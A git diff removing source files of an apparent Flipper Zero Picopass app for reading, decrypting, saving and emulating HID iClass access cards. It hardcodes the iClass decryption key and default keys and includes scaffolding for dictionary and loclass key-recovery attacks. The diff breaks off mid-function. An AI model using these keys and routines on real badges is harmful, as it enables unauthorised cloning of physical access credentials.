text_input_alloc(); - view_dispatcher_add_view( - picopass->view_dispatcher, - PicopassViewTextInput, - text_input_get_view(picopass->text_input)); - - // Byte Input - picopass->byte_input = byte_input_alloc(); - view_dispatcher_add_view( - picopass->view_dispatcher, - PicopassViewByteInput, - byte_input_get_view(picopass->byte_input)); - - // Custom Widget - picopass->widget = widget_alloc(); - view_dispatcher_add_view( - picopass->view_dispatcher, PicopassViewWidget, widget_get_view(picopass->widget)); - - picopass->dict_attack = dict_attack_alloc(); - view_dispatcher_add_view( - picopass->view_dispatcher, - PicopassViewDictAttack, - dict_attack_get_view(picopass->dict_attack)); - - picopass->loclass = loclass_alloc(); - view_dispatcher_add_view( - picopass->view_dispatcher, PicopassViewLoclass, loclass_get_view(picopass->loclass)); - - return picopass; -} - -void picopass_free(Picopass* picopass) { - furi_assert(picopass); - - // Picopass device - picopass_device_free(picopass->dev); - picopass->dev = NULL; - - // Submenu - view_dispatcher_remove_view(picopass->view_dispatcher, PicopassViewMenu); - submenu_free(picopass->submenu); - - // Popup - view_dispatcher_remove_view(picopass->view_dispatcher, PicopassViewPopup); - popup_free(picopass->popup); - - // Loading - view_dispatcher_remove_view(picopass->view_dispatcher, PicopassViewLoading); - loading_free(picopass->loading); - - // TextInput - view_dispatcher_remove_view(picopass->view_dispatcher, PicopassViewTextInput); - text_input_free(picopass->text_input); - - // ByteInput - view_dispatcher_remove_view(picopass->view_dispatcher, PicopassViewByteInput); - byte_input_free(picopass->byte_input); - - // Custom Widget - view_dispatcher_remove_view(picopass->view_dispatcher, PicopassViewWidget); - widget_free(picopass->widget); - - view_dispatcher_remove_view(picopass->view_dispatcher, PicopassViewDictAttack); - dict_attack_free(picopass->dict_attack); - - view_dispatcher_remove_view(picopass->view_dispatcher, PicopassViewLoclass); - loclass_free(picopass->loclass); - - // Worker - picopass_worker_stop(picopass->worker); - picopass_worker_free(picopass->worker); - - // View Dispatcher - view_dispatcher_free(picopass->view_dispatcher); - - // Scene Manager - scene_manager_free(picopass->scene_manager); - - // GUI - furi_record_close(RECORD_GUI); - picopass->gui = NULL; - - // Notifications - furi_record_close(RECORD_NOTIFICATION); - picopass->notifications = NULL; - - free(picopass); -} - -void picopass_text_store_set(Picopass* picopass, const char* text, ...) { - va_list args; - va_start(args, text); - - vsnprintf(picopass->text_store, sizeof(picopass->text_store), text, args); - - va_end(args); -} - -void picopass_text_store_clear(Picopass* picopass) { - memset(picopass->text_store, 0, sizeof(picopass->text_store)); -} - -static const NotificationSequence picopass_sequence_blink_start_cyan = { - &message_blink_start_10, - &message_blink_set_color_cyan, - &message_do_not_reset, - NULL, -}; - -static const NotificationSequence picopass_sequence_blink_start_magenta = { - &message_blink_start_10, - &message_blink_set_color_magenta, - &message_do_not_reset, - NULL, -}; - -static const NotificationSequence picopass_sequence_blink_stop = { - &message_blink_stop, - NULL, -}; - -void picopass_blink_start(Picopass* picopass) { - notification_message(picopass->notifications, &picopass_sequence_blink_start_cyan); -} - -void picopass_blink_emulate_start(Picopass* picopass) { - notification_message(picopass->notifications, &picopass_sequence_blink_start_magenta); -} - -void picopass_blink_stop(Picopass* picopass) { - notification_message(picopass->notifications, &picopass_sequence_blink_stop); -} - -void picopass_show_loading_popup(void* context, bool show) { - Picopass* picopass = context; - TaskHandle_t timer_task = xTaskGetHandle(configTIMER_SERVICE_TASK_NAME); - - if(show) { - // Raise timer priority so that animations can play - vTaskPrioritySet(timer_task, configMAX_PRIORITIES - 1); - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewLoading); - } else { - // Restore default timer priority - vTaskPrioritySet(timer_task, configTIMER_TASK_PRIORITY); - } -} - -static void picopass_migrate_from_old_folder() { - Storage* storage = furi_record_open(RECORD_STORAGE); - storage_common_migrate(storage, EXT_PATH("picopass"), STORAGE_APP_DATA_PATH_PREFIX); - furi_record_close(RECORD_STORAGE); -} - -bool picopass_is_memset(const uint8_t* data, const uint8_t pattern, size_t size) { - bool result = size > 0; - while(size > 0) { - result &= (*data == pattern); - data++; - size--; - } - return result; -} - -int32_t picopass_app(void* p) { - UNUSED(p); - picopass_migrate_from_old_folder(); - - Picopass* picopass = picopass_alloc(); - - scene_manager_next_scene(picopass->scene_manager, PicopassSceneStart); - - view_dispatcher_run(picopass->view_dispatcher); - - picopass_free(picopass); - - return 0; -} diff --git a/applications/external/picopass/picopass.h b/applications/external/picopass/picopass.h deleted file mode 100644 index a1a87d7f8..000000000 --- a/applications/external/picopass/picopass.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma once - -typedef struct Picopass Picopass; diff --git a/applications/external/picopass/picopass_device.c b/applications/external/picopass/picopass_device.c deleted file mode 100644 index dbb9b9e1b..000000000 --- a/applications/external/picopass/picopass_device.c +++ /dev/null @@ -1,393 +0,0 @@ -#include "picopass_device.h" - -#include -#include -#include "picopass_icons.h" -#include - -#define TAG "PicopassDevice" - -static const char* picopass_file_header = "Flipper Picopass device"; -static const uint32_t picopass_file_version = 1; - -const uint8_t picopass_iclass_decryptionkey[] = - {0xb4, 0x21, 0x2c, 0xca, 0xb7, 0xed, 0x21, 0x0f, 0x7b, 0x93, 0xd4, 0x59, 0x39, 0xc7, 0xdd, 0x36}; - -PicopassDevice* picopass_device_alloc() { - PicopassDevice* picopass_dev = malloc(sizeof(PicopassDevice)); - picopass_dev->dev_data.pacs.legacy = false; - picopass_dev->dev_data.pacs.se_enabled = false; - picopass_dev->dev_data.pacs.elite_kdf = false; - picopass_dev->dev_data.pacs.pin_length = 0; - picopass_dev->storage = furi_record_open(RECORD_STORAGE); - picopass_dev->dialogs = furi_record_open(RECORD_DIALOGS); - picopass_dev->load_path = furi_string_alloc(); - return picopass_dev; -} - -void picopass_device_set_name(PicopassDevice* dev, const char* name) { - furi_assert(dev); - - strlcpy(dev->dev_name, name, PICOPASS_DEV_NAME_MAX_LEN); -} - -static bool picopass_device_save_file( - PicopassDevice* dev, - const char* dev_name, - const char* folder, - const char* extension, - bool use_load_path) { - furi_assert(dev); - - bool saved = false; - FlipperFormat* file = flipper_format_file_alloc(dev->storage); - PicopassPacs* pacs = &dev->dev_data.pacs; - PicopassBlock* AA1 = dev->dev_data.AA1; - FuriString* temp_str; - temp_str = furi_string_alloc(); - - do { - if(use_load_path && !furi_string_empty(dev->load_path)) { - // Get directory name - path_extract_dirname(furi_string_get_cstr(dev->load_path), temp_str); - // Make path to file to save - furi_string_cat_printf(temp_str, "/%s%s", dev_name, extension); - } else { - // First remove picopass device file if it was saved - furi_string_printf(temp_str, "%s/%s%s", folder, dev_name, extension); - } - // Open file - if(!flipper_format_file_open_always(file, furi_string_get_cstr(temp_str))) break; - - if(dev->format == PicopassDeviceSaveFormatHF) { - uint32_t fc = pacs->record.FacilityCode; - uint32_t cn = pacs->record.CardNumber; - // Write header - if(!flipper_format_write_header_cstr(file, picopass_file_header, picopass_file_version)) - break; - if(pacs->record.valid) { - if(!flipper_format_write_uint32(file, "Facility Code", &fc, 1)) break; - if(!flipper_format_write_uint32(file, "Card Number", &cn, 1)) break; - if(!flipper_format_write_hex( - file, "Credential", pacs->credential, RFAL_PICOPASS_BLOCK_LEN)) - break; - if(pacs->pin_length > 0) { - if(!flipper_format_write_hex( - file, "PIN\t\t", pacs->pin0, RFAL_PICOPASS_BLOCK_LEN)) - break; - if(!flipper_format_write_hex( - file, "PIN(cont.)\t", pacs->pin1, RFAL_PICOPASS_BLOCK_LEN)) - break; - } - } - // TODO: Add elite - if(!flipper_format_write_comment_cstr(file, "Picopass blocks")) break; - bool block_saved = true; - - size_t app_limit = AA1[PICOPASS_CONFIG_BLOCK_INDEX].data[0] < PICOPASS_MAX_APP_LIMIT ? - AA1[PICOPASS_CONFIG_BLOCK_INDEX].data[0] : - PICOPASS_MAX_APP_LIMIT; - for(size_t i = 0; i < app_limit; i++) { - furi_string_printf(temp_str, "Block %d", i); - if(!flipper_format_write_hex( - file, - furi_string_get_cstr(temp_str), - AA1[i].data, - RFAL_PICOPASS_BLOCK_LEN)) { - block_saved = false; - break; - } - } - if(!block_saved) break; - } else if(dev->format == PicopassDeviceSaveFormatLF) { - const char* lf_header = "Flipper RFID key"; - // Write header - if(!flipper_format_write_header_cstr(file, lf_header, 1)) break; - if(!flipper_format_write_comment_cstr( - file, - "This was generated from the Picopass plugin and may not match current lfrfid")) - break; - // When lfrfid supports more formats, update this - if(!flipper_format_write_string_cstr(file, "Key type", "H10301")) break; - uint8_t H10301[3] = {0}; - H10301[0] = pacs->record.FacilityCode; - H10301[1] = pacs->record.CardNumber >> 8; - H10301[2] = pacs->record.CardNumber & 0x00FF; - if(!flipper_format_write_hex(file, "Data", H10301, 3)) break; - } - saved = true; - } while(0); - - if(!saved) { - dialog_message_show_storage_error(dev->dialogs, "Can not save\nfile"); - } - furi_string_free(temp_str); - flipper_format_free(file); - return saved; -} - -bool picopass_device_save(PicopassDevice* dev, const char* dev_name) { - if(dev->format == PicopassDeviceSaveFormatHF) { - return picopass_device_save_file( - dev, dev_name, STORAGE_APP_DATA_PATH_PREFIX, PICOPASS_APP_EXTENSION, true); - } else if(dev->format == PicopassDeviceSaveFormatLF) { - return picopass_device_save_file(dev, dev_name, EXT_PATH("lfrfid"), ".rfid", true); - } - - return false; -} - -static bool picopass_device_load_data(PicopassDevice* dev, FuriString* path, bool show_dialog) { - bool parsed = false; - FlipperFormat* file = flipper_format_file_alloc(dev->storage); - PicopassBlock* AA1 = dev->dev_data.AA1; - PicopassPacs* pacs = &dev->dev_data.pacs; - FuriString* temp_str; - temp_str = furi_string_alloc(); - bool deprecated_version = false; - - if(dev->loading_cb) { - dev->loading_cb(dev->loading_cb_ctx, true); - } - - do { - if(!flipper_format_file_open_existing(file, furi_string_get_cstr(path))) break; - - // Read and verify file header - uint32_t version = 0; - if(!flipper_format_read_header(file, temp_str, &version)) break; - if(furi_string_cmp_str(temp_str, picopass_file_header) || - (version != picopass_file_version)) { - deprecated_version = true; - break; - } - - // Parse header blocks - bool block_read = true; - for(size_t i = 0; i < 6; i++) { - furi_string_printf(temp_str, "Block %d", i); - if(!flipper_format_read_hex( - file, furi_string_get_cstr(temp_str), AA1[i].data, RFAL_PICOPASS_BLOCK_LEN)) { - block_read = false; - break; - } - } - - size_t app_limit = AA1[PICOPASS_CONFIG_BLOCK_INDEX].data[0]; - // Fix for unpersonalized cards that have app_limit set to 0xFF - if(app_limit > PICOPASS_MAX_APP_LIMIT) app_limit = PICOPASS_MAX_APP_LIMIT; - for(size_t i = 6; i < app_limit; i++) { - furi_string_printf(temp_str, "Block %d", i); - if(!flipper_format_read_hex( - file, furi_string_get_cstr(temp_str), AA1[i].data, RFAL_PICOPASS_BLOCK_LEN)) { - block_read = false; - break; - } - } - if(!block_read) break; - - if(picopass_device_parse_credential(AA1, pacs) != ERR_NONE) break; - if(picopass_device_parse_wiegand(pacs->credential, &pacs->record) != ERR_NONE) break; - - parsed = true; - } while(false); - - if(dev->loading_cb) { - dev->loading_cb(dev->loading_cb_ctx, false); - } - - if((!parsed) && (show_dialog)) { - if(deprecated_version) { - dialog_message_show_storage_error(dev->dialogs, "File format deprecated"); - } else { - dialog_message_show_storage_error(dev->dialogs, "Can not parse\nfile"); - } - } - - furi_string_free(temp_str); - flipper_format_free(file); - - return parsed; -} - -void picopass_device_clear(PicopassDevice* dev) { - furi_assert(dev); - - picopass_device_data_clear(&dev->dev_data); - memset(&dev->dev_data, 0, sizeof(dev->dev_data)); - dev->format = PicopassDeviceSaveFormatHF; - furi_string_reset(dev->load_path); -} - -void picopass_device_free(PicopassDevice* picopass_dev) { - furi_assert(picopass_dev); - picopass_device_clear(picopass_dev); - furi_record_close(RECORD_STORAGE); - furi_record_close(RECORD_DIALOGS); - furi_string_free(picopass_dev->load_path); - free(picopass_dev); -} - -bool picopass_file_select(PicopassDevice* dev) { - furi_assert(dev); - - FuriString* picopass_app_folder; - picopass_app_folder = furi_string_alloc_set(STORAGE_APP_DATA_PATH_PREFIX); - - DialogsFileBrowserOptions browser_options; - dialog_file_browser_set_basic_options(&browser_options, PICOPASS_APP_EXTENSION, &I_Nfc_10px); - browser_options.base_path = STORAGE_APP_DATA_PATH_PREFIX; - - bool res = dialog_file_browser_show( - dev->dialogs, dev->load_path, picopass_app_folder, &browser_options); - - furi_string_free(picopass_app_folder); - if(res) { - FuriString* filename; - filename = furi_string_alloc(); - path_extract_filename(dev->load_path, filename, true); - strncpy(dev->dev_name, furi_string_get_cstr(filename), PICOPASS_DEV_NAME_MAX_LEN); - res = picopass_device_load_data(dev, dev->load_path, true); - if(res) { - picopass_device_set_name(dev, dev->dev_name); - } - furi_string_free(filename); - } - - return res; -} - -void picopass_device_data_clear(PicopassDeviceData* dev_data) { - for(size_t i = 0; i < PICOPASS_MAX_APP_LIMIT; i++) { - memset(dev_data->AA1[i].data, 0, sizeof(dev_data->AA1[i].data)); - } - dev_data->pacs.legacy = false; - dev_data->pacs.se_enabled = false; - dev_data->pacs.elite_kdf = false; - dev_data->pacs.pin_length = 0; -} - -bool picopass_device_delete(PicopassDevice* dev, bool use_load_path) { - furi_assert(dev); - - bool deleted = false; - FuriString* file_path; - file_path = furi_string_alloc(); - - do { - // Delete original file - if(use_load_path && !furi_string_empty(dev->load_path)) { - furi_string_set(file_path, dev->load_path); - } else { - furi_string_printf( - file_path, APP_DATA_PATH("%s%s"), dev->dev_name, PICOPASS_APP_EXTENSION); - } - if(!storage_simply_remove(dev->storage, furi_string_get_cstr(file_path))) break; - deleted = true; - } while(0); - - if(!deleted) { - dialog_message_show_storage_error(dev->dialogs, "Can not remove file"); - } - - furi_string_free(file_path); - return deleted; -} - -void picopass_device_set_loading_callback( - PicopassDevice* dev, - PicopassLoadingCallback callback, - void* context) { - furi_assert(dev); - - dev->loading_cb = callback; - dev->loading_cb_ctx = context; -} - -ReturnCode picopass_device_decrypt(uint8_t* enc_data, uint8_t* dec_data) { - uint8_t key[32] = {0}; - memcpy(key, picopass_iclass_decryptionkey, sizeof(picopass_iclass_decryptionkey)); - mbedtls_des3_context ctx; - mbedtls_des3_init(&ctx); - mbedtls_des3_set2key_dec(&ctx, key); - mbedtls_des3_crypt_ecb(&ctx, enc_data, dec_data); - mbedtls_des3_free(&ctx); - return ERR_NONE; -} - -ReturnCode picopass_device_parse_credential(PicopassBlock* AA1, PicopassPacs* pacs) { - ReturnCode err; - - pacs->biometrics = AA1[6].data[4]; - pacs->pin_length = AA1[6].data[6] & 0x0F; - pacs->encryption = AA1[6].data[7]; - - if(pacs->encryption == PicopassDeviceEncryption3DES) { - FURI_LOG_D(TAG, "3DES Encrypted"); - err = picopass_device_decrypt(AA1[7].data, pacs->credential); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "decrypt error %d", err); - return err; - } - - err = picopass_device_decrypt(AA1[8].data, pacs->pin0); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "decrypt error %d", err); - return err; - } - - err = picopass_device_decrypt(AA1[9].data, pacs->pin1); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "decrypt error %d", err); - return err; - } - } else if(pacs->encryption == PicopassDeviceEncryptionNone) { - FURI_LOG_D(TAG, "No Encryption"); - memcpy(pacs->credential, AA1[7].data, RFAL_PICOPASS_BLOCK_LEN); - memcpy(pacs->pin0, AA1[8].data, RFAL_PICOPASS_BLOCK_LEN); - memcpy(pacs->pin1, AA1[9].data, RFAL_PICOPASS_BLOCK_LEN); - } else if(pacs->encryption == PicopassDeviceEncryptionDES) { - FURI_LOG_D(TAG, "DES Encrypted"); - } else { - FURI_LOG_D(TAG, "Unknown encryption"); - } - - pacs->sio = (AA1[10].data[0] == 0x30); // rough check - - return ERR_NONE; -} - -ReturnCode picopass_device_parse_wiegand(uint8_t* credential, PicopassWiegandRecord* record) { - uint32_t* halves = (uint32_t*)credential; - if(halves[0] == 0) { - uint8_t leading0s = __builtin_clz(REVERSE_BYTES_U32(halves[1])); - record->bitLength = 31 - leading0s; - } else { - uint8_t leading0s = __builtin_clz(REVERSE_BYTES_U32(halves[0])); - record->bitLength = 63 - leading0s; - } - FURI_LOG_D(TAG, "bitLength: %d", record->bitLength); - - // Remove sentinel bit from credential. Byteswapping to handle array of bytes vs 64bit value - uint64_t sentinel = __builtin_bswap64(1ULL << record->bitLength); - uint64_t swapped = 0; - memcpy(&swapped, credential, sizeof(uint64_t)); - swapped = swapped ^ sentinel; - memcpy(credential, &swapped, sizeof(uint64_t)); - FURI_LOG_D(TAG, "PACS: (%d) %016llx", record->bitLength, swapped); - - if(record->bitLength == 26) { - uint8_t* v4 = credential + 4; - uint32_t bot = v4[3] | (v4[2] << 8) | (v4[1] << 16) | (v4[0] << 24); - - record->CardNumber = (bot >> 1) & 0xFFFF; - record->FacilityCode = (bot >> 17) & 0xFF; - FURI_LOG_D(TAG, "FC: %u CN: %u", record->FacilityCode, record->CardNumber); - record->valid = true; - } else { - record->CardNumber = 0; - record->FacilityCode = 0; - record->valid = false; - } - return ERR_NONE; -} diff --git a/applications/external/picopass/picopass_device.h b/applications/external/picopass/picopass_device.h deleted file mode 100644 index 48c306654..000000000 --- a/applications/external/picopass/picopass_device.h +++ /dev/null @@ -1,148 +0,0 @@ -#pragma once - -#include -#include -#include -#include -#include - -#include "rfal_picopass.h" -#include "loclass_writer.h" -#include -#include -#include "helpers/iclass_elite_dict.h" - -#define PICOPASS_DEV_NAME_MAX_LEN 22 -#define PICOPASS_READER_DATA_MAX_SIZE 64 -#define PICOPASS_MAX_APP_LIMIT 32 - -#define PICOPASS_CSN_BLOCK_INDEX 0 -#define PICOPASS_CONFIG_BLOCK_INDEX 1 -// These definitions for blocks above 2 only hold for secure cards. -#define PICOPASS_SECURE_EPURSE_BLOCK_INDEX 2 -#define PICOPASS_SECURE_KD_BLOCK_INDEX 3 -#define PICOPASS_SECURE_KC_BLOCK_INDEX 4 -#define PICOPASS_SECURE_AIA_BLOCK_INDEX 5 -// Non-secure cards instead have an AIA at block 2 -#define PICOPASS_NONSECURE_AIA_BLOCK_INDEX 2 -// Only iClass cards -#define PICOPASS_ICLASS_PACS_CFG_BLOCK_INDEX 6 - -// Personalization Mode -#define PICOPASS_FUSE_PERS 0x80 -// Crypt1 // 1+1 (crypt1+crypt0) means secured and keys changable -#define PICOPASS_FUSE_CRYPT1 0x10 -// Crypt0 // 1+0 means secure and keys locked, 0+1 means not secured, 0+0 means disable auth entirely -#define PICOPASS_FUSE_CRTPT0 0x08 -#define PICOPASS_FUSE_CRYPT10 (PICOPASS_FUSE_CRYPT1 | PICOPASS_FUSE_CRTPT0) -// Read Access, 1 meanns anonymous read enabled, 0 means must auth to read applicaion -#define PICOPASS_FUSE_RA 0x01 - -#define PICOPASS_APP_FOLDER EXT_PATH("picopass") -#define PICOPASS_APP_EXTENSION ".picopass" -#define PICOPASS_APP_SHADOW_EXTENSION ".pas" - -#define PICOPASS_DICT_KEY_BATCH_SIZE 10 - -typedef void (*PicopassLoadingCallback)(void* context, bool state); - -typedef struct { - IclassEliteDict* dict; - IclassEliteDictType type; - uint8_t current_sector; -} IclassEliteDictAttackData; - -typedef enum { - PicopassDeviceEncryptionUnknown = 0, - PicopassDeviceEncryptionNone = 0x14, - PicopassDeviceEncryptionDES = 0x15, - PicopassDeviceEncryption3DES = 0x17, -} PicopassEncryption; - -typedef enum { - PicopassDeviceSaveFormatHF, - PicopassDeviceSaveFormatLF, -} PicopassDeviceSaveFormat; - -typedef enum { - PicopassEmulatorStateHalt, - PicopassEmulatorStateIdle, - PicopassEmulatorStateActive, - PicopassEmulatorStateSelected, -} PicopassEmulatorState; - -typedef struct { - bool valid; - uint8_t bitLength; - uint8_t FacilityCode; - uint16_t CardNumber; -} PicopassWiegandRecord; - -typedef struct { - bool legacy; - bool se_enabled; - bool sio; - bool biometrics; - uint8_t key[8]; - bool elite_kdf; - uint8_t pin_length; - PicopassEncryption encryption; - uint8_t credential[8]; - uint8_t pin0[8]; - uint8_t pin1[8]; - PicopassWiegandRecord record; -} PicopassPacs; - -typedef struct { - uint8_t data[RFAL_PICOPASS_BLOCK_LEN]; -} PicopassBlock; - -typedef struct { - PicopassBlock AA1[PICOPASS_MAX_APP_LIMIT]; - PicopassPacs pacs; - IclassEliteDictAttackData iclass_elite_dict_attack_data; -} PicopassDeviceData; - -typedef struct { - PicopassEmulatorState state; - LoclassState_t cipher_state; - uint8_t key_block_num; // in loclass mode used to store csn# - bool loclass_mode; - bool loclass_got_std_key; - LoclassWriter* loclass_writer; -} PicopassEmulatorCtx; - -typedef struct { - Storage* storage; - DialogsApp* dialogs; - PicopassDeviceData dev_data; - char dev_name[PICOPASS_DEV_NAME_MAX_LEN + 1]; - FuriString* load_path; - PicopassDeviceSaveFormat format; - PicopassLoadingCallback loading_cb; - void* loading_cb_ctx; -} PicopassDevice; - -PicopassDevice* picopass_device_alloc(); - -void picopass_device_free(PicopassDevice* picopass_dev); - -void picopass_device_set_name(PicopassDevice* dev, const char* name); - -bool picopass_device_save(PicopassDevice* dev, const char* dev_name); - -bool picopass_file_select(PicopassDevice* dev); - -void picopass_device_data_clear(PicopassDeviceData* dev_data); - -void picopass_device_clear(PicopassDevice* dev); - -bool picopass_device_delete(PicopassDevice* dev, bool use_load_path); - -void picopass_device_set_loading_callback( - PicopassDevice* dev, - PicopassLoadingCallback callback, - void* context); - -ReturnCode picopass_device_parse_credential(PicopassBlock* AA1, PicopassPacs* pacs); -ReturnCode picopass_device_parse_wiegand(uint8_t* data, PicopassWiegandRecord* record); diff --git a/applications/external/picopass/picopass_i.h b/applications/external/picopass/picopass_i.h deleted file mode 100644 index 0fc928610..000000000 --- a/applications/external/picopass/picopass_i.h +++ /dev/null @@ -1,113 +0,0 @@ -#pragma once - -#include "picopass.h" -#include "picopass_worker.h" -#include "picopass_device.h" - -#include "rfal_picopass.h" - -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include - -#include - -#include "scenes/picopass_scene.h" -#include "views/dict_attack.h" -#include "views/loclass.h" - -#include -#include -#include "picopass_icons.h" -#include - -#define PICOPASS_TEXT_STORE_SIZE 128 - -#define LOCLASS_NUM_CSNS 9 -// Collect 2 MACs per CSN to account for keyroll modes -#define LOCLASS_MACS_TO_COLLECT (LOCLASS_NUM_CSNS * 2) - -enum PicopassCustomEvent { - // Reserve first 100 events for button types and indexes, starting from 0 - PicopassCustomEventReserved = 100, - - PicopassCustomEventViewExit, - PicopassCustomEventWorkerExit, - PicopassCustomEventByteInputDone, - PicopassCustomEventTextInputDone, - PicopassCustomEventDictAttackSkip, -}; - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -struct Picopass { - PicopassWorker* worker; - ViewDispatcher* view_dispatcher; - Gui* gui; - NotificationApp* notifications; - SceneManager* scene_manager; - PicopassDevice* dev; - - char text_store[PICOPASS_TEXT_STORE_SIZE + 1]; - FuriString* text_box_store; - uint8_t byte_input_store[RFAL_PICOPASS_BLOCK_LEN]; - - // Common Views - Submenu* submenu; - Popup* popup; - Loading* loading; - TextInput* text_input; - ByteInput* byte_input; - Widget* widget; - DictAttack* dict_attack; - Loclass* loclass; -}; - -typedef enum { - PicopassViewMenu, - PicopassViewPopup, - PicopassViewLoading, - PicopassViewTextInput, - PicopassViewByteInput, - PicopassViewWidget, - PicopassViewDictAttack, - PicopassViewLoclass, -} PicopassView; - -Picopass* picopass_alloc(); - -void picopass_text_store_set(Picopass* picopass, const char* text, ...); - -void picopass_text_store_clear(Picopass* picopass); - -void picopass_blink_start(Picopass* picopass); - -void picopass_blink_emulate_start(Picopass* picopass); - -void picopass_blink_stop(Picopass* picopass); - -void picopass_show_loading_popup(void* context, bool show); - -/** Check if memory is set to pattern - * - * @warning zero size will return false - * - * @param[in] data Pointer to the byte array - * @param[in] pattern The pattern - * @param[in] size The byte array size - * - * @return True if memory is set to pattern, false otherwise - */ -bool picopass_is_memset(const uint8_t* data, const uint8_t pattern, size_t size); diff --git a/applications/external/picopass/picopass_keys.c b/applications/external/picopass/picopass_keys.c deleted file mode 100644 index 43dfc6312..000000000 --- a/applications/external/picopass/picopass_keys.c +++ /dev/null @@ -1,8 +0,0 @@ -#include "picopass_keys.h" - -const uint8_t picopass_iclass_key[] = {0xaf, 0xa7, 0x85, 0xa7, 0xda, 0xb3, 0x33, 0x78}; -const uint8_t picopass_factory_credit_key[] = {0x76, 0x65, 0x54, 0x43, 0x32, 0x21, 0x10, 0x00}; -const uint8_t picopass_factory_debit_key[] = {0xf0, 0xe1, 0xd2, 0xc3, 0xb4, 0xa5, 0x96, 0x87}; -const uint8_t picopass_xice_key[] = {0x20, 0x20, 0x66, 0x66, 0x66, 0x66, 0x88, 0x88}; -const uint8_t picopass_xicl_key[] = {0x20, 0x20, 0x66, 0x66, 0x66, 0x66, 0x88, 0x88}; -const uint8_t picopass_xics_key[] = {0x66, 0x66, 0x20, 0x20, 0x66, 0x66, 0x88, 0x88}; diff --git a/applications/external/picopass/picopass_keys.h b/applications/external/picopass/picopass_keys.h deleted file mode 100644 index dc43fc68b..000000000 --- a/applications/external/picopass/picopass_keys.h +++ /dev/null @@ -1,10 +0,0 @@ -#pragma once - -#include "picopass_device.h" - -extern const uint8_t picopass_iclass_key[RFAL_PICOPASS_BLOCK_LEN]; -extern const uint8_t picopass_factory_credit_key[RFAL_PICOPASS_BLOCK_LEN]; -extern const uint8_t picopass_factory_debit_key[RFAL_PICOPASS_BLOCK_LEN]; -extern const uint8_t picopass_xice_key[RFAL_PICOPASS_BLOCK_LEN]; -extern const uint8_t picopass_xicl_key[RFAL_PICOPASS_BLOCK_LEN]; -extern const uint8_t picopass_xics_key[RFAL_PICOPASS_BLOCK_LEN]; diff --git a/applications/external/picopass/picopass_worker.c b/applications/external/picopass/picopass_worker.c deleted file mode 100644 index a0aac6231..000000000 --- a/applications/external/picopass/picopass_worker.c +++ /dev/null @@ -1,1275 +0,0 @@ -#include "picopass_worker_i.h" - -#include -#include - -#define TAG "PicopassWorker" - -#define HAS_MASK(x, b) ((x & b) == b) - -// CSNs from Proxmark3 repo -static const uint8_t loclass_csns[LOCLASS_NUM_CSNS][RFAL_PICOPASS_BLOCK_LEN] = { - {0x01, 0x0A, 0x0F, 0xFF, 0xF7, 0xFF, 0x12, 0xE0}, - {0x0C, 0x06, 0x0C, 0xFE, 0xF7, 0xFF, 0x12, 0xE0}, - {0x10, 0x97, 0x83, 0x7B, 0xF7, 0xFF, 0x12, 0xE0}, - {0x13, 0x97, 0x82, 0x7A, 0xF7, 0xFF, 0x12, 0xE0}, - {0x07, 0x0E, 0x0D, 0xF9, 0xF7, 0xFF, 0x12, 0xE0}, - {0x14, 0x96, 0x84, 0x76, 0xF7, 0xFF, 0x12, 0xE0}, - {0x17, 0x96, 0x85, 0x71, 0xF7, 0xFF, 0x12, 0xE0}, - {0xCE, 0xC5, 0x0F, 0x77, 0xF7, 0xFF, 0x12, 0xE0}, - {0xD2, 0x5A, 0x82, 0xF8, 0xF7, 0xFF, 0x12, 0xE0}, -}; - -static void picopass_worker_enable_field() { - furi_hal_nfc_exit_sleep(); - furi_hal_nfc_ll_txrx_on(); - furi_hal_nfc_ll_poll(); -} - -static ReturnCode picopass_worker_disable_field(ReturnCode rc) { - furi_hal_nfc_ll_txrx_off(); - furi_hal_nfc_start_sleep(); - return rc; -} - -/***************************** Picopass Worker API *******************************/ - -PicopassWorker* picopass_worker_alloc() { - PicopassWorker* picopass_worker = malloc(sizeof(PicopassWorker)); - - // Worker thread attributes - picopass_worker->thread = - furi_thread_alloc_ex("PicopassWorker", 8 * 1024, picopass_worker_task, picopass_worker); - - picopass_worker->callback = NULL; - picopass_worker->context = NULL; - picopass_worker->storage = furi_record_open(RECORD_STORAGE); - - picopass_worker_change_state(picopass_worker, PicopassWorkerStateReady); - - return picopass_worker; -} - -void picopass_worker_free(PicopassWorker* picopass_worker) { - furi_assert(picopass_worker); - - furi_thread_free(picopass_worker->thread); - - furi_record_close(RECORD_STORAGE); - - free(picopass_worker); -} - -PicopassWorkerState picopass_worker_get_state(PicopassWorker* picopass_worker) { - return picopass_worker->state; -} - -void picopass_worker_start( - PicopassWorker* picopass_worker, - PicopassWorkerState state, - PicopassDeviceData* dev_data, - PicopassWorkerCallback callback, - void* context) { - furi_assert(picopass_worker); - furi_assert(dev_data); - - picopass_worker->callback = callback; - picopass_worker->context = context; - picopass_worker->dev_data = dev_data; - picopass_worker_change_state(picopass_worker, state); - furi_thread_start(picopass_worker->thread); -} - -void picopass_worker_stop(PicopassWorker* picopass_worker) { - furi_assert(picopass_worker); - furi_assert(picopass_worker->thread); - - if(furi_thread_get_state(picopass_worker->thread) == FuriThreadStateStopped) { - return; - } - - if(picopass_worker->state == PicopassWorkerStateBroken || - picopass_worker->state == PicopassWorkerStateReady) { - return; - } - - if(picopass_worker->state != PicopassWorkerStateEmulate && - picopass_worker->state != PicopassWorkerStateLoclass) { - // Can't do this while emulating in transparent mode as SPI isn't active - picopass_worker_disable_field(ERR_NONE); - } - - if(furi_thread_get_state(picopass_worker->thread) != FuriThreadStateStopped) { - picopass_worker_change_state(picopass_worker, PicopassWorkerStateStop); - furi_thread_join(picopass_worker->thread); - } -} - -void picopass_worker_change_state(PicopassWorker* picopass_worker, PicopassWorkerState state) { - picopass_worker->state = state; -} - -/***************************** Picopass Worker Thread *******************************/ - -ReturnCode picopass_detect_card(int timeout) { - UNUSED(timeout); - - ReturnCode err; - - err = rfalPicoPassPollerInitialize(); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerInitialize error %d", err); - return err; - } - - err = rfalFieldOnAndStartGT(); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalFieldOnAndStartGT error %d", err); - return err; - } - - err = rfalPicoPassPollerCheckPresence(); - if(err != 